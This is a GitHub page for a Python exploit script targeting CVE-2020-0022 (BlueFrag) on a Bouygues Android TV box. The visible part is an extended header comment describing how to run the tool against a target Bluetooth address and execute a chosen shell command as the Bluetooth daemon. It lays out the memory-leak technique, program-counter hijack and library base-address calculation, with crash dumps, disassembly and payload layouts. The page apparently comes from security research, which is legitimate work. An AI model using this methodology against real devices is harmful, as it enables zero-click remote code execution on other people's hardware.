forked from Polo35/CVE-2020-0022
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bbox_exploit.py
3637 lines (3145 loc) · 207 KB
/
bbox_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# coding: utf-8
##############################################################################################################################################################################
#
# CVE-2020-0022 vulnerability exploitation on Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
# By Polo35 - 2020/08/24
#
##############################################################################################################################################################################
#
# "Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
#
##############################################################################################################################################################################
#
# Based on scripts by Jan Ruge
# CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag
# https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
#
##############################################################################################################################################################################
#
# INTRODUCTION & TIPS
#
##############################################################################################################################################################################
#
# The script use python bluetooth module to get ACL connection handle
# So you need to install bluetooth libraries and pybluez (version 0.22 for python2 and last version for python3)
#
# sudo apt-get update
# sudo apt-get install bluetooth bluez libbluetooth-dev
# sudo pip install pybluez
#
# You can pass a shell command to the script as parameter that will be executed with system function with permissions of the bluetooth deamon
# There is only 104 characters available for the shell command because the ROP chain take 20 first bytes of the second payload
#
# Exemple:
# shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
#
# The script can use adb to check connection inspect logcat and reboot the target when needed
# For this you have to pass the target ip as parameter
# Make sure to connect target with adb connect and open a shell to check connection before using the script
#
# Best results are obtained by connecting the target via bluetooth with a smartphone when the script say it ;)
# It can take more than 30 try to trigger the exploit but it sometime work at first try
#
#
##############################################################################################################################################################################
#
# MEMORY LEAK WITH ARM32
#
##############################################################################################################################################################################
#
# The Bouygues BBox Miami is based on an ARM 32 bytes Cortex A9 processor
# The difference with ARM64 is that libc memcpy function doesn't underflow so it's impossible to get same leaks as Jan Ruge
# But the vulnerability is present and is exploitable in a different way
#
#
# By sending l2cap packet with 4 bytes fragmentation we can trigger a memcpy of 0 length in reassemble_and_dispatch
# This allow to get 4 bytes of uninitialized data at end of echo
#
# Increasing first packet length (further named mem_offset) allow to "walk" the uninitialized memory
# Getting 32 echos with same mem_offset give 2 to 8 exploitable echos
# Echos are repeated so no need to get more then 32 echos at same mem_offset
# This method we also feel memory with the packets so it's easy to reconize patterns and find offsets in leaks
#
# The mem_offset is the length of the l2cap packet in characters
# Ex: mem_offset 184 = l2cap packet of 184 characters = l2cap packet of 368 bytes
#
# Example of memory "walking" and uninitialized data with repetitions:
#
# 176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................
# 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$....................
# 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$.....................
# 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$......................
# 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$.......................
# 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................
# 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................
# 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................
# 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................
# 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................
# 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................
# 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................
# 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
#
# We can see at mem_offset 180 and 184 some memory address in little endian
#
# a4ce80a3 give address 0xa380cea4
# 24d280a3 give address 0xa380d224
# a4d580a3 give address 0xa380d5a4
# 9cce80a3 give address 0xa380ce9c
# 1cd280a3 give address 0xa380d21c
# 9cd580a3 give address 0xa380d59c
#
# There is at least 4 or 5 mem_offset where is possible to find real memory address after nearly all reboot
# We will see later how we can use them
#
##############################################################################################################################################################################
#
# ANALYSE OF FIRST CRASH
#
##############################################################################################################################################################################
#
# By sending l2cap packet with 2 bytes fragmentation we can trigger a memcpy of -2 length in reassemble_and_dispatch
# This allow to overflow outside the partial packet with 30 bytes of controlled data from the second packet
# Because of the 30 copied bytes it's not necessary to send packets bigger than 32 bytes with 4 last bytes null
#
# This overflow method sometimes crash the bluetooth deamon with controlled R0 register in _Z11list_appendP6list_tPv+65:
#
# HCI: Found link transmit data buffer queue at 0xab90dbc4
# HCI: Found SetDataAdvDataSender function at 0x91875b29
# HCI: Found bte_hh_evt function at 0x91818429
# HCI: Found bluetooth library base address at 0x917a0000
# First payload:
# 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003
# 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007
# Second payload:
# 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b
# 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f
# 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013
# 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017
# 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b
# 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f
# 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023
# 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027
# 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b
# 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f
# 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033
# 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035
# ADB: Found interesting crash !!!
# libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue)
# DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
# DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
# DEBUG : Revision: '0'
# DEBUG : ABI: 'arm'
# DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<<
# DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003
# DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000
# DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000
# DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001
# DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030
# DEBUG :
# DEBUG : backtrace:
# DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65)
# DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
# DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
# DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
# DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
# DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
# DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
# DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
# DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
# DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
# DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
#
# The disassembly at 001298e2 give:
#
# .text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j
# .text:0x1298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10
# .text:0x1298E2 LDR R1, [R0] => Load R1 from R0 => Crash if not controlled !!!
# .text:0x1298E4 MOVS R0, #8 => Set 8 in R0
# .text:0x1298E6 BLX R1 => Branch with Link and exchange to R1 => Branch to controlled R1
#
# The decompilation show that we overwrite the memory at address of R4+0x10 which is allocator in the call "node = list->allocator->alloc(8)":
#
# signed int list_append(list_t *list_ptr, void *data_ptr)
# {
# list_t *list = list_ptr; // r4
# ...
# list_node_t *node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!!
# ...
# node->data = data_ptr; // r5
# ...
# }
#
# The deamon crashed on LDR R1, [R0] with R0 register = dead0003 when trying to load the address
# We can control R0 with first payload + 0xC so if we place a valid address in it we can control R1 with the LDR R1, [R0] and than control PC with BLX R1
#
##############################################################################################################################################################################
#
# CONTROL PROGRAM COUNTER BY OVERFLOWING LEAKED ADDRESS
#
##############################################################################################################################################################################
#
# Using the overflow method with the first memory address found at mem_offset 180 allow to move the crash to a branch to controlled R1 register
#
# HCI: Got ACL connection handle: 0xb
# HCI: Getting link transmit data buffer queue pointer...
# HCI: Found link transmit data buffer queue at 0xa458dbc4
# HCI: Getting bluetooth library function pointers...
# HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
# HCI: Found bluetooth library base address at 0x8a3ce000
# Building the payloads...
# First payload:
# 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
# 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
# Second payload:
# 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
# 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
# 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
# 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
# 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
# 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
# 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
# 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
# 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
# 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
# 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
# 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
# Prepare to connect to the target via bluetooth with your smartphone
# HCI: Spraying second payload at 0xa458dbc4
# Connect to the target via bluetooth with your smartphone
# HCI: Triggering the exploit with first payload... (1/3)
# ADB: Bluetooth deamon crashed (3/20)
# ADB: Found interesting crash !!!
# 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
# 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
# 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
# 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
# 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
# 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
# 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
# 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
# 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
# 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
# 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
# 07-20 09:28:01.228 21061 21061 F DEBUG :
# 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
# 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 <unknown>
# 07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
# 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
#
# The same disassembly at 001298e7 give:
#
# .text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j
# .text:0x1298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10
# .text:0x1298E2 LDR R1, [R0] => Load R1 from R0 => Crash if not controlled
# .text:0x1298E4 MOVS R0, #8 => Set 8 in R0
# .text:0x1298E6 BLX R1 => Branch with link and exchange to R1 => Branch to controlled R1 !!!
# .text:0x1298E8 MOV R1, R0
#
# The deamon now crashed on BLX R1 with R1 register = dead0033
# This is the pattern sent in fragmented packets when getting leaks at mem_offset 184
# This will be the second payload with a known address at an offset of - 0xb0 from first memory address found at mem_offset 180
#
# We can now control PC of bluetooth.marvellberlin.so library have a second place in memory with the data and we know the address of this one
#
# After the signal the registers contains:
# - R0 = 0x8
# - R1 = second payload value + 0xb0
# - R4 = first payload address - 0x4
#
##############################################################################################################################################################################
#
# GET THE BLUETOOTH LIBRARY BASE ADDRESS
#
##############################################################################################################################################################################
#
# Using the leak method at mem_offset 28 we are able to find some memory address:
#
# 0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+
# 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r
# 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r.
# 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t
# 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
#
# We can see leaks 29546c8f and 292b728f which give address 0x8f6c5429 and 0x8f722b29 in little endian
#
# Using the overflow method with those address crash the deamon in bluetooth.marvellberlin.so with the following crash dump:
#
# libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue)
# DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
# DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
# DEBUG : Revision: '0'
# DEBUG : ABI: 'arm'
# DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<<
# DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10
# DEBUG : Cause: null pointer dereference
# DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020
# DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456
# DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70
# DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030
# DEBUG :
# DEBUG : backtrace:
# DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9_+19)
# DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
# DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
# DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190)
# DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
# DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
# DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
# DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
# DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
# DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
#
# We land in .text section of bluetooth.marvellberlin.so library at offset 000d5b3c
#
# .text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o
# .text:0x0D5B28
# .text:0x0D5B28 PUSH.W {R4-R11,LR}
# .text:0x0D5B2C SUB SP, SP, #0x1C
# .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38)
# .text:0x0D5B30 ADD.W R11, SP, #0x10
# .text:0x0D5B34 ADD R7, PC ; off_1A2718
# .text:0x0D5B36 LDR R7, [R7]
# .text:0x0D5B38 LDR R7, [R7]
# .text:0x0D5B3A STR R7, [SP,#0x1C-4]
# .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
#
# The crash is at 0xd5b3c just after the start of a function so the found address is a pointer to this function
# This fonction is SetDataAdvDataSender of the class BleAdvertisingManagerImpl used as a pointer in SetData function of btm_ble_multi_adv.cc file
#
# void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override {
# ...
# DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp));
# }
#
# We now have the address of a fixed location in bluetooth.marvellberlin.so library and can compute the base address of this library
# The real offset to library base address is 0XD5B29 from the pointer to SetDataAdvDataSender function found at mem_offset 28
#
# In the example above we found SetDataAdvDataSender function at 0X8C35DB29 and overflowed this address
# The bluetooth library base address was 0X8C35DB29 - 0XD5B29 = 0X8C288000
#
# We also found a pointer to 0x8C300429 in the same leak at mem_offset 28
# The offset between the 2 found addresses is 0x8C35DB29 - 0x8C300429 = 0x5D700
# We know that SetDataAdvDataSender is at 0xD5B28 in the bluetooth library so we can compute the address of the second found pointer: 0xD5B28 - 0x5D700 = 0x78428
# At 0x78428 in the bluetooth library we have the function bte_hh_evt which is use in btif_hh_service_registration and btif_hh_execute_service functions of btif_hh.cc file
#
#void btif_hh_service_registration(bool enable) {
# ...
# BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt);
# ...
#}
#
# bt_status_t btif_hh_execute_service(bool b_enable) {
# ...
# BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt);
# ...
# }
#
# The 2 found address at mem_offset 28 always ends with 0xB29 for SetDataAdvDataSender function and 0x429 for bte_hh_evt function
# With this method we only need one of the 2 known address in the leak to find the bluetooth base address
#
# To summarize we can find bluetooth library base address with:
# - Found SetDataAdvDataSender function address which ends with 0xB29 => Apply an offset of 0xD5B28
# - Found bte_hh_evt function address which ends with 0x429 and applying => Apply an offset of 0x78429
#
##############################################################################################################################################################################
#
# ANALYSE OF CRASH WITH ANDROID SOURCE CODE
#
##############################################################################################################################################################################
#
# The source code of android oreo 8.1 show that we overwrite a part of the link transmit data buffer queue object p_lcb->link_xmit_data_q
#
# l2c_rcv_acl_data function create the tL2C_LCB* p_lcb object and pass it to l2c_link_check_send_pkts function which append the packet to link_xmit_data_q buffer queue
#
# void l2c_rcv_acl_data(BT_HDR* p_msg) {
# ...
# tL2C_LCB* p_lcb;
# ...
